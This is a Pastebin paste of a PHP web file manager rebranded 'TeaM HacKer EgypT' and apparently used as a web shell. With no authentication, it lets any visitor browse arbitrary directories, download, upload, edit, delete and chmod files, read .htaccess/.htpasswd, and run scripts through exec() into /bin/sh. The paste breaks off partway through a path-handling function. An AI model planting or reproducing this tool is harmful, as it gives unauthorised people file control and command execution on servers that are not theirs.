Guest User

test

a guest
Jul 8th, 2015
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 68.83 KB | None | 0 0
  1. <?php
  2. /*
  3. * TeaM HacKer EgypT - a simple Web-based file manager
  4. * Copyright (C) 2013 Mr.PERSIA <[email protected]>
  5. *
  6. * This program is free software; you can redistribute it and/or modify
  7. * it under the terms of the GNU General Public License as published by
  8. * the Free Software Foundation; either version 2 of the License, or
  9. * (at your option) any later version.
  10. *
  11. * This program is distributed in the hope that it will be useful,
  12. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  14. * GNU General Public License for more details.
  15. *
  16. * You should have received a copy of the GNU General Public License
  17. * along with this program; if not, write to the Free Software
  18. * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  19. *
  20. * -------------------------------------------------------------------------
  21. * While using this script, do NOT navigate with your browser's back and
  22. * forward buttons! Always open files in a new browser tab!
  23. * -------------------------------------------------------------------------
  24. *
  25. * This is Version 0.9, revision 9
  26. * =========================================================================
  27. *
  28. * Changes of revision 9
  29. * added workaround for directory listing, if lstat() is disabled
  30. * fixed permisson of uploaded files (thanks to Stephan Duffner)
  31. *
  32. * Changes of revision 8
  33. * added Turkish translation
  34. * added Czech translation
  35. * improved charset handling
  36. *
  37. * Changes of revision 7
  38. * added Spanish translation
  39. * added Danish translation
  40. * improved rename dialog
  41. *
  42. * Changes of revision 6
  43. * added Dutch translation
  44. *
  45. * Changes of revision 5
  46. * added language auto select
  47. * fixed symlinks in directory listing
  48. * removed word-wrap in edit textarea
  49. *
  50. * Changes of revision 4
  51. * added French translation
  52. * added Swedish translation
  53. *
  54. * Changes of revision 3
  55. * improved Italian translation
  56. *
  57. * Changes of revision 2
  58. * got images work in some old browsers
  59. * fixed creation of directories
  60. * fixed files deletion
  61. * improved path handling
  62. * added missing word 'not_created'
  63. * improved human readability of file sizes
  64. * added Italian translation
  65. *
  66. * Changes of revision 1
  67. * TeaM HacKer EgypT completely rewritten:
  68. * - clean XHTML/CSS output
  69. * - several files selectable
  70. * - support for windows servers
  71. * - no more treeview, because
  72. * - TeaM HacKer EgypT is a >simple< file manager
  73. * - performance problems (too much additional code)
  74. * - I don't like: frames, java-script, to reload after every treeview-click
  75. * - execution of shell scripts
  76. * - introduced revision numbers
  77. *
  78. /* ------------------------------------------------------------------------- */
  79.  
  80. /* Your language:
  81. * 'en' - English
  82. * 'de' - German
  83. * 'fr' - French
  84. * 'it' - Italian
  85. * 'nl' - Dutch
  86. * 'se' - Swedish
  87. * 'sp' - Spanish
  88. * 'dk' - Danish
  89. * 'tr' - Turkish
  90. * 'cs' - Czech
  91. * 'auto' - autoselect
  92. */
  93. $lang = 'auto';
  94.  
  95. /* Charset of output:
  96. * possible values are described in the charset table at
  97. * http://www.php.net/manual/en/function.htmlentities.php
  98. * 'auto' - use the same charset as the words of my language are encoded
  99. */
  100. $site_charset = 'auto';
  101.  
  102. /* Homedir:
  103. * For example: './' - the script's directory
  104. */
  105. $homedir = './';
  106.  
  107. /* Size of the edit textarea
  108. */
  109. $editcols = 80;
  110. $editrows = 25;
  111.  
  112. /* -------------------------------------------
  113. * Optional configuration (remove # to enable)
  114. */
  115.  
  116. /* Permission of created directories:
  117. * For example: 0705 would be 'drwx---r-x'.
  118. */
  119. # $dirpermission = 0705;
  120.  
  121. /* Permission of created files:
  122. * For example: 0604 would be '-rw----r--'.
  123. */
  124. # $filepermission = 0604;
  125.  
  126. /* Filenames related to the apache web server:
  127. */
  128. $htaccess = '.htaccess';
  129. $htpasswd = '.htpasswd';
  130.  
  131. /* ------------------------------------------------------------------------- */
  132.  
  133. if (get_magic_quotes_gpc()) {
  134. array_walk($_GET, 'strip');
  135. array_walk($_POST, 'strip');
  136. array_walk($_REQUEST, 'strip');
  137. }
  138.  
  139. if (array_key_exists('image', $_GET)) {
  140. header('Content-Type: image/gif');
  141. die(getimage($_GET['image']));
  142. }
  143.  
  144. if (!function_exists('lstat')) {
  145. function lstat ($filename) {
  146. return stat($filename);
  147. }
  148. }
  149.  
  150. $delim = DIRECTORY_SEPARATOR;
  151.  
  152. if (function_exists('php_uname')) {
  153. $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  154. } else {
  155. $win = ($delim == '\\') ? true : false;
  156. }
  157.  
  158. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  159. $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  160. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  161. $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  162. } elseif (function_exists('getcwd')) {
  163. $scriptdir = getcwd();
  164. } else {
  165. $scriptdir = '.';
  166. }
  167. $homedir = relative2absolute($homedir, $scriptdir);
  168.  
  169. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  170.  
  171. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  172. $dir = relative2absolute($dir, $_POST['olddir']);
  173. }
  174.  
  175. $directory = simplify_path(addslash($dir));
  176.  
  177. $files = array();
  178. $action = '';
  179. if (!empty($_POST['submit_all'])) {
  180. $action = $_POST['action_all'];
  181. for ($i = 0; $i < $_POST['num']; $i++) {
  182. if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  183. $files[] = $_POST["file$i"];
  184. }
  185. }
  186. } elseif (!empty($_REQUEST['action'])) {
  187. $action = $_REQUEST['action'];
  188. $files[] = relative2absolute($_REQUEST['file'], $directory);
  189. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  190. $files[] = $_FILES['upload'];
  191. $action = 'upload';
  192. } elseif (array_key_exists('num', $_POST)) {
  193. for ($i = 0; $i < $_POST['num']; $i++) {
  194. if (array_key_exists("submit$i", $_POST)) break;
  195. }
  196. if ($i < $_POST['num']) {
  197. $action = $_POST["action$i"];
  198. $files[] = $_POST["file$i"];
  199. }
  200. }
  201. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  202. $files[] = relative2absolute($_POST['create_name'], $directory);
  203. switch ($_POST['create_type']) {
  204. case 'directory':
  205. $action = 'create_directory';
  206. break;
  207. case 'file':
  208. $action = 'create_file';
  209. }
  210. }
  211. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  212.  
  213. if ($lang == 'auto') {
  214. if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  215. $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  216. } else {
  217. $lang = 'en';
  218. }
  219. }
  220.  
  221. $words = getwords($lang);
  222.  
  223. if ($site_charset == 'auto') {
  224. $site_charset = $word_charset;
  225. }
  226.  
  227. $cols = ($win) ? 4 : 7;
  228.  
  229. if (!isset($dirpermission)) {
  230. $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  231. }
  232. if (!isset($filepermission)) {
  233. $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  234. }
  235.  
  236. if (!empty($_SERVER['SCRIPT_NAME'])) {
  237. $self = html(basename($_SERVER['SCRIPT_NAME']));
  238. } elseif (!empty($_SERVER['PHP_SELF'])) {
  239. $self = html(basename($_SERVER['PHP_SELF']));
  240. } else {
  241. $self = '';
  242. }
  243.  
  244. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  245. if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  246. $apache = true;
  247. } else {
  248. $apache = false;
  249. }
  250. } else {
  251. $apache = true;
  252. }
  253.  
  254. switch ($action) {
  255.  
  256. case 'view':
  257.  
  258. if (is_script($file)) {
  259.  
  260. /* highlight_file is a mess! */
  261. ob_start();
  262. highlight_file($file);
  263. $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  264. $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  265. ob_end_clean();
  266.  
  267. html_header();
  268. echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  269.  
  270. <hr />
  271.  
  272. <table>
  273. <tr>
  274. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  275. <pre style="margin-top: 0"><code>';
  276.  
  277. for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  278.  
  279. echo '</code></pre>
  280. </td>
  281. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  282. <pre style="margin-top: 0">' . $src . '</pre>
  283. </td>
  284. </tr>
  285. </table>
  286.  
  287. ';
  288.  
  289. html_footer();
  290.  
  291. } else {
  292.  
  293. header('Content-Type: ' . getmimetype($file));
  294. header('Content-Disposition: filename=' . basename($file));
  295.  
  296. readfile($file);
  297.  
  298. }
  299.  
  300. break;
  301.  
  302. case 'download':
  303.  
  304. header('Pragma: public');
  305. header('Expires: 0');
  306. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  307. header('Content-Type: ' . getmimetype($file));
  308. header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  309. header('Content-Length: ' . filesize($file));
  310.  
  311. readfile($file);
  312.  
  313. break;
  314.  
  315. case 'upload':
  316.  
  317. $dest = relative2absolute($file['name'], $directory);
  318.  
  319. if (@file_exists($dest)) {
  320. listing_page(error('already_exists', $dest));
  321. } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  322. @chmod($dest, $filepermission);
  323. listing_page(notice('uploaded', $file['name']));
  324. } else {
  325. listing_page(error('not_uploaded', $file['name']));
  326. }
  327.  
  328. break;
  329.  
  330. case 'create_directory':
  331.  
  332. if (@file_exists($file)) {
  333. listing_page(error('already_exists', $file));
  334. } else {
  335. $old = @umask(0777 & ~$dirpermission);
  336. if (@mkdir($file, $dirpermission)) {
  337. listing_page(notice('created', $file));
  338. } else {
  339. listing_page(error('not_created', $file));
  340. }
  341. @umask($old);
  342. }
  343.  
  344. break;
  345.  
  346. case 'create_file':
  347.  
  348. if (@file_exists($file)) {
  349. listing_page(error('already_exists', $file));
  350. } else {
  351. $old = @umask(0777 & ~$filepermission);
  352. if (@touch($file)) {
  353. edit($file);
  354. } else {
  355. listing_page(error('not_created', $file));
  356. }
  357. @umask($old);
  358. }
  359.  
  360. break;
  361.  
  362. case 'execute':
  363.  
  364. chdir(dirname($file));
  365.  
  366. $output = array();
  367. $retval = 0;
  368. exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  369.  
  370. $error = ($retval == 0) ? false : true;
  371.  
  372. if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  373.  
  374. if ($error) {
  375. listing_page(error('not_executed', $file, implode("\n", $output)));
  376. } else {
  377. listing_page(notice('executed', $file, implode("\n", $output)));
  378. }
  379.  
  380. break;
  381.  
  382. case 'delete':
  383.  
  384. if (!empty($_POST['no'])) {
  385. listing_page();
  386. } elseif (!empty($_POST['yes'])) {
  387.  
  388. $failure = array();
  389. $success = array();
  390.  
  391. foreach ($files as $file) {
  392. if (del($file)) {
  393. $success[] = $file;
  394. } else {
  395. $failure[] = $file;
  396. }
  397. }
  398.  
  399. $message = '';
  400. if (sizeof($failure) > 0) {
  401. $message = error('not_deleted', implode("\n", $failure));
  402. }
  403. if (sizeof($success) > 0) {
  404. $message .= notice('deleted', implode("\n", $success));
  405. }
  406.  
  407. listing_page($message);
  408.  
  409. } else {
  410.  
  411. html_header();
  412.  
  413. echo '<form action="' . $self . '" method="post">
  414. <table class="dialog">
  415. <tr>
  416. <td class="dialog">
  417. ';
  418.  
  419. request_dump();
  420.  
  421. echo "\t<b>" . word('really_delete') . '</b>
  422. <p>
  423. ';
  424.  
  425. foreach ($files as $file) {
  426. echo "\t" . html($file) . "<br />\n";
  427. }
  428.  
  429. echo ' </p>
  430. <hr />
  431. <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  432. <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  433. </td>
  434. </tr>
  435. </table>
  436. </form>
  437.  
  438. ';
  439.  
  440. html_footer();
  441.  
  442. }
  443.  
  444. break;
  445.  
  446. case 'rename':
  447.  
  448. if (!empty($_POST['destination'])) {
  449.  
  450. $dest = relative2absolute($_POST['destination'], $directory);
  451.  
  452. if (!@file_exists($dest) && @rename($file, $dest)) {
  453. listing_page(notice('renamed', $file, $dest));
  454. } else {
  455. listing_page(error('not_renamed', $file, $dest));
  456. }
  457.  
  458. } else {
  459.  
  460. $name = basename($file);
  461.  
  462. html_header();
  463.  
  464. echo '<form action="' . $self . '" method="post">
  465.  
  466. <table class="dialog">
  467. <tr>
  468. <td class="dialog">
  469. <input type="hidden" name="action" value="rename" />
  470. <input type="hidden" name="file" value="' . html($file) . '" />
  471. <input type="hidden" name="dir" value="' . html($directory) . '" />
  472. <b>' . word('rename_file') . '</b>
  473. <p>' . html($file) . '</p>
  474. <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  475. <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  476. <hr />
  477. <input type="submit" value="' . word('rename') . '" />
  478. </td>
  479. </tr>
  480. </table>
  481.  
  482. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  483.  
  484. </form>
  485.  
  486. ';
  487.  
  488. html_footer();
  489.  
  490. }
  491.  
  492. break;
  493.  
  494. case 'move':
  495.  
  496. if (!empty($_POST['destination'])) {
  497.  
  498. $dest = relative2absolute($_POST['destination'], $directory);
  499.  
  500. $failure = array();
  501. $success = array();
  502.  
  503. foreach ($files as $file) {
  504. $filename = substr($file, strlen($directory));
  505. $d = $dest . $filename;
  506. if (!@file_exists($d) && @rename($file, $d)) {
  507. $success[] = $file;
  508. } else {
  509. $failure[] = $file;
  510. }
  511. }
  512.  
  513. $message = '';
  514. if (sizeof($failure) > 0) {
  515. $message = error('not_moved', implode("\n", $failure), $dest);
  516. }
  517. if (sizeof($success) > 0) {
  518. $message .= notice('moved', implode("\n", $success), $dest);
  519. }
  520.  
  521. listing_page($message);
  522.  
  523. } else {
  524.  
  525. html_header();
  526.  
  527. echo '<form action="' . $self . '" method="post">
  528.  
  529. <table class="dialog">
  530. <tr>
  531. <td class="dialog">
  532. ';
  533.  
  534. request_dump();
  535.  
  536. echo "\t<b>" . word('move_files') . '</b>
  537. <p>
  538. ';
  539.  
  540. foreach ($files as $file) {
  541. echo "\t" . html($file) . "<br />\n";
  542. }
  543.  
  544. echo ' </p>
  545. <hr />
  546. ' . word('destination') . ':
  547. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  548. <input type="submit" value="' . word('move') . '" />
  549. </td>
  550. </tr>
  551. </table>
  552.  
  553. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  554.  
  555. </form>
  556.  
  557. ';
  558.  
  559. html_footer();
  560.  
  561. }
  562.  
  563. break;
  564.  
  565. case 'copy':
  566.  
  567. if (!empty($_POST['destination'])) {
  568.  
  569. $dest = relative2absolute($_POST['destination'], $directory);
  570.  
  571. if (@is_dir($dest)) {
  572.  
  573. $failure = array();
  574. $success = array();
  575.  
  576. foreach ($files as $file) {
  577. $filename = substr($file, strlen($directory));
  578. $d = addslash($dest) . $filename;
  579. if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  580. $success[] = $file;
  581. } else {
  582. $failure[] = $file;
  583. }
  584. }
  585.  
  586. $message = '';
  587. if (sizeof($failure) > 0) {
  588. $message = error('not_copied', implode("\n", $failure), $dest);
  589. }
  590. if (sizeof($success) > 0) {
  591. $message .= notice('copied', implode("\n", $success), $dest);
  592. }
  593.  
  594. listing_page($message);
  595.  
  596. } else {
  597.  
  598. if (!@file_exists($dest) && @copy($file, $dest)) {
  599. listing_page(notice('copied', $file, $dest));
  600. } else {
  601. listing_page(error('not_copied', $file, $dest));
  602. }
  603.  
  604. }
  605.  
  606. } else {
  607.  
  608. html_header();
  609.  
  610. echo '<form action="' . $self . '" method="post">
  611.  
  612. <table class="dialog">
  613. <tr>
  614. <td class="dialog">
  615. ';
  616.  
  617. request_dump();
  618.  
  619. echo "\n<b>" . word('copy_files') . '</b>
  620. <p>
  621. ';
  622.  
  623. foreach ($files as $file) {
  624. echo "\t" . html($file) . "<br />\n";
  625. }
  626.  
  627. echo ' </p>
  628. <hr />
  629. ' . word('destination') . ':
  630. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  631. <input type="submit" value="' . word('copy') . '" />
  632. </td>
  633. </tr>
  634. </table>
  635.  
  636. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  637.  
  638. </form>
  639.  
  640. ';
  641.  
  642. html_footer();
  643.  
  644. }
  645.  
  646. break;
  647.  
  648. case 'create_symlink':
  649.  
  650. if (!empty($_POST['destination'])) {
  651.  
  652. $dest = relative2absolute($_POST['destination'], $directory);
  653.  
  654. if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  655.  
  656. if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  657.  
  658. if (!@file_exists($dest) && @symlink($file, $dest)) {
  659. listing_page(notice('symlinked', $file, $dest));
  660. } else {
  661. listing_page(error('not_symlinked', $file, $dest));
  662. }
  663.  
  664. } else {
  665.  
  666. html_header();
  667.  
  668. echo '<form action="' . $self . '" method="post">
  669.  
  670. <table class="dialog" id="symlink">
  671. <tr>
  672. <td style="vertical-align: top">' . word('destination') . ': </td>
  673. <td>
  674. <b>' . html($file) . '</b><br />
  675. <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  676. <label for="checkbox_relative">' . word('relative') . '</label>
  677. <input type="hidden" name="action" value="create_symlink" />
  678. <input type="hidden" name="file" value="' . html($file) . '" />
  679. <input type="hidden" name="dir" value="' . html($directory) . '" />
  680. </td>
  681. </tr>
  682. <tr>
  683. <td>' . word('symlink') . ': </td>
  684. <td>
  685. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  686. <input type="submit" value="' . word('create_symlink') . '" />
  687. </td>
  688. </tr>
  689. </table>
  690.  
  691. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  692.  
  693. </form>
  694.  
  695. ';
  696.  
  697. html_footer();
  698.  
  699. }
  700.  
  701. break;
  702.  
  703. case 'edit':
  704.  
  705. if (!empty($_POST['save'])) {
  706.  
  707. $content = str_replace("\r\n", "\n", $_POST['content']);
  708.  
  709. if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  710. listing_page(notice('saved', $file));
  711. } else {
  712. listing_page(error('not_saved', $file));
  713. }
  714.  
  715. } else {
  716.  
  717. if (@is_readable($file) && @is_writable($file)) {
  718. edit($file);
  719. } else {
  720. listing_page(error('not_edited', $file));
  721. }
  722.  
  723. }
  724.  
  725. break;
  726.  
  727. case 'permission':
  728.  
  729. if (!empty($_POST['set'])) {
  730.  
  731. $mode = 0;
  732. if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  733. if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  734. if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  735.  
  736. if (@chmod($file, $mode)) {
  737. listing_page(notice('permission_set', $file, decoct($mode)));
  738. } else {
  739. listing_page(error('permission_not_set', $file, decoct($mode)));
  740. }
  741.  
  742. } else {
  743.  
  744. html_header();
  745.  
  746. $mode = fileperms($file);
  747.  
  748. echo '<form action="' . $self . '" method="post">
  749.  
  750. <table class="dialog">
  751. <tr>
  752. <td class="dialog">
  753.  
  754. <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  755.  
  756. <hr />
  757.  
  758. <table id="permission">
  759. <tr>
  760. <td></td>
  761. <td style="border-right: 1px solid black">' . word('owner') . '</td>
  762. <td style="border-right: 1px solid black">' . word('group') . '</td>
  763. <td>' . word('other') . '</td>
  764. </tr>
  765. <tr>
  766. <td style="text-align: right">' . word('read') . ':</td>
  767. <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  768. <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  769. <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  770. </tr>
  771. <tr>
  772. <td style="text-align: right">' . word('write') . ':</td>
  773. <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  774. <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  775. <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  776. </tr>
  777. <tr>
  778. <td style="text-align: right">' . word('execute') . ':</td>
  779. <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  780. <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  781. <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  782. </tr>
  783. </table>
  784.  
  785. <hr />
  786.  
  787. <input type="submit" name="set" value="' . word('set') . '" />
  788.  
  789. <input type="hidden" name="action" value="permission" />
  790. <input type="hidden" name="file" value="' . html($file) . '" />
  791. <input type="hidden" name="dir" value="' . html($directory) . '" />
  792.  
  793. </td>
  794. </tr>
  795. </table>
  796.  
  797. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  798.  
  799. </form>
  800.  
  801. ';
  802.  
  803. html_footer();
  804.  
  805. }
  806.  
  807. break;
  808.  
  809. default:
  810.  
  811. listing_page();
  812.  
  813. }
  814.  
  815. /* ------------------------------------------------------------------------- */
  816.  
  817. function getlist ($directory) {
  818. global $delim, $win;
  819.  
  820. if ($d = @opendir($directory)) {
  821.  
  822. while (($filename = @readdir($d)) !== false) {
  823.  
  824. $path = $directory . $filename;
  825.  
  826. if ($stat = @lstat($path)) {
  827.  
  828. $file = array(
  829. 'filename' => $filename,
  830. 'path' => $path,
  831. 'is_file' => @is_file($path),
  832. 'is_dir' => @is_dir($path),
  833. 'is_link' => @is_link($path),
  834. 'is_readable' => @is_readable($path),
  835. 'is_writable' => @is_writable($path),
  836. 'size' => $stat['size'],
  837. 'permission' => $stat['mode'],
  838. 'owner' => $stat['uid'],
  839. 'group' => $stat['gid'],
  840. 'mtime' => @filemtime($path),
  841. 'atime' => @fileatime($path),
  842. 'ctime' => @filectime($path)
  843. );
  844.  
  845. if ($file['is_dir']) {
  846. $file['is_executable'] = @file_exists($path . $delim . '.');
  847. } else {
  848. if (!$win) {
  849. $file['is_executable'] = @is_executable($path);
  850. } else {
  851. $file['is_executable'] = true;
  852. }
  853. }
  854.  
  855. if ($file['is_link']) $file['target'] = @readlink($path);
  856.  
  857. if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  858. if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  859.  
  860. $files[] = $file;
  861.  
  862. }
  863.  
  864. }
  865.  
  866. return $files;
  867.  
  868. } else {
  869. return false;
  870. }
  871.  
  872. }
  873.  
  874. function sortlist (&$list, $key, $reverse) {
  875.  
  876. quicksort($list, 0, sizeof($list) - 1, $key);
  877.  
  878. if ($reverse) $list = array_reverse($list);
  879.  
  880. }
  881.  
  882. function quicksort (&$array, $first, $last, $key) {
  883.  
  884. if ($first < $last) {
  885.  
  886. $cmp = $array[floor(($first + $last) / 2)][$key];
  887.  
  888. $l = $first;
  889. $r = $last;
  890.  
  891. while ($l <= $r) {
  892.  
  893. while ($array[$l][$key] < $cmp) $l++;
  894. while ($array[$r][$key] > $cmp) $r--;
  895.  
  896. if ($l <= $r) {
  897.  
  898. $tmp = $array[$l];
  899. $array[$l] = $array[$r];
  900. $array[$r] = $tmp;
  901.  
  902. $l++;
  903. $r--;
  904.  
  905. }
  906.  
  907. }
  908.  
  909. quicksort($array, $first, $r, $key);
  910. quicksort($array, $l, $last, $key);
  911.  
  912. }
  913.  
  914. }
  915.  
  916. function permission_octal2string ($mode) {
  917.  
  918. if (($mode & 0xC000) === 0xC000) {
  919. $type = 's';
  920. } elseif (($mode & 0xA000) === 0xA000) {
  921. $type = 'l';
  922. } elseif (($mode & 0x8000) === 0x8000) {
  923. $type = '-';
  924. } elseif (($mode & 0x6000) === 0x6000) {
  925. $type = 'b';
  926. } elseif (($mode & 0x4000) === 0x4000) {
  927. $type = 'd';
  928. } elseif (($mode & 0x2000) === 0x2000) {
  929. $type = 'c';
  930. } elseif (($mode & 0x1000) === 0x1000) {
  931. $type = 'p';
  932. } else {
  933. $type = '?';
  934. }
  935.  
  936. $owner = ($mode & 00400) ? 'r' : '-';
  937. $owner .= ($mode & 00200) ? 'w' : '-';
  938. if ($mode & 0x800) {
  939. $owner .= ($mode & 00100) ? 's' : 'S';
  940. } else {
  941. $owner .= ($mode & 00100) ? 'x' : '-';
  942. }
  943.  
  944. $group = ($mode & 00040) ? 'r' : '-';
  945. $group .= ($mode & 00020) ? 'w' : '-';
  946. if ($mode & 0x400) {
  947. $group .= ($mode & 00010) ? 's' : 'S';
  948. } else {
  949. $group .= ($mode & 00010) ? 'x' : '-';
  950. }
  951.  
  952. $other = ($mode & 00004) ? 'r' : '-';
  953. $other .= ($mode & 00002) ? 'w' : '-';
  954. if ($mode & 0x200) {
  955. $other .= ($mode & 00001) ? 't' : 'T';
  956. } else {
  957. $other .= ($mode & 00001) ? 'x' : '-';
  958. }
  959.  
  960. return $type . $owner . $group . $other;
  961.  
  962. }
  963.  
  964. function is_script ($filename) {
  965. return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  966. }
  967.  
  968. function getmimetype ($filename) {
  969. static $mimes = array(
  970. '\.jpg$|\.jpeg$' => 'image/jpeg',
  971. '\.gif$' => 'image/gif',
  972. '\.png$' => 'image/png',
  973. '\.html$|\.html$' => 'text/html',
  974. '\.txt$|\.asc$' => 'text/plain',
  975. '\.xml$|\.xsl$' => 'application/xml',
  976. '\.pdf$' => 'application/pdf'
  977. );
  978.  
  979. foreach ($mimes as $regex => $mime) {
  980. if (eregi($regex, $filename)) return $mime;
  981. }
  982.  
  983. // return 'application/octet-stream';
  984. return 'text/plain';
  985.  
  986. }
  987.  
  988. function del ($file) {
  989. global $delim;
  990.  
  991. if (!@is_link($file) && !file_exists($file)) return false;
  992.  
  993. if (!@is_link($file) && @is_dir($file)) {
  994.  
  995. if ($dir = @opendir($file)) {
  996.  
  997. $error = false;
  998.  
  999. while (($f = readdir($dir)) !== false) {
  1000. if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  1001. $error = true;
  1002. }
  1003. }
  1004. closedir($dir);
  1005.  
  1006. if (!$error) return @rmdir($file);
  1007.  
  1008. return !$error;
  1009.  
  1010. } else {
  1011. return false;
  1012. }
  1013.  
  1014. } else {
  1015. return @unlink($file);
  1016. }
  1017.  
  1018. }
  1019.  
  1020. function addslash ($directory) {
  1021. global $delim;
  1022.  
  1023. if (substr($directory, -1, 1) != $delim) {
  1024. return $directory . $delim;
  1025. } else {
  1026. return $directory;
  1027. }
  1028.  
  1029. }
  1030.  
  1031. function relative2absolute ($string, $directory) {
  1032.  
  1033. if (path_is_relative($string)) {
  1034. return simplify_path(addslash($directory) . $string);
  1035. } else {
  1036. return simplify_path($string);
  1037. }
  1038.  
  1039. }
  1040.  
  1041. function path_is_relative ($path) {
  1042. global $win;
  1043.  
  1044. if ($win) {
  1045. return (substr($path, 1, 1) != ':');
  1046. } else {
  1047. return (substr($path, 0, 1) != '/');
  1048. }
  1049.  
  1050. }
  1051.  
  1052. function absolute2relative ($directory, $target) {
  1053. global $delim;
  1054.  
  1055. $path = '';
  1056. while ($directory != $target) {
  1057. if ($directory == substr($target, 0, strlen($directory))) {
  1058. $path .= substr($target, strlen($directory));
  1059. break;
  1060. } else {
  1061. $path .= '..' . $delim;
  1062. $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1063. }
  1064. }
  1065. if ($path == '') $path = '.';
  1066.  
  1067. return $path;
  1068.  
  1069. }
  1070.  
  1071. function simplify_path ($path) {
  1072. global $delim;
  1073.  
  1074. if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1075. $path = realpath($path);
  1076. if (@is_dir($path)) {
  1077. return addslash($path);
  1078. } else {
  1079. return $path;
  1080. }
  1081. }
  1082.  
  1083. $pattern = $delim . '.' . $delim;
  1084.  
  1085. if (@is_dir($path)) {
  1086. $path = addslash($path);
  1087. }
  1088.  
  1089. while (strpos($path, $pattern) !== false) {
  1090. $path = str_replace($pattern, $delim, $path);
  1091. }
  1092.  
  1093. $e = addslashes($delim);
  1094. $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1095.  
  1096. while (ereg($regex, $path)) {
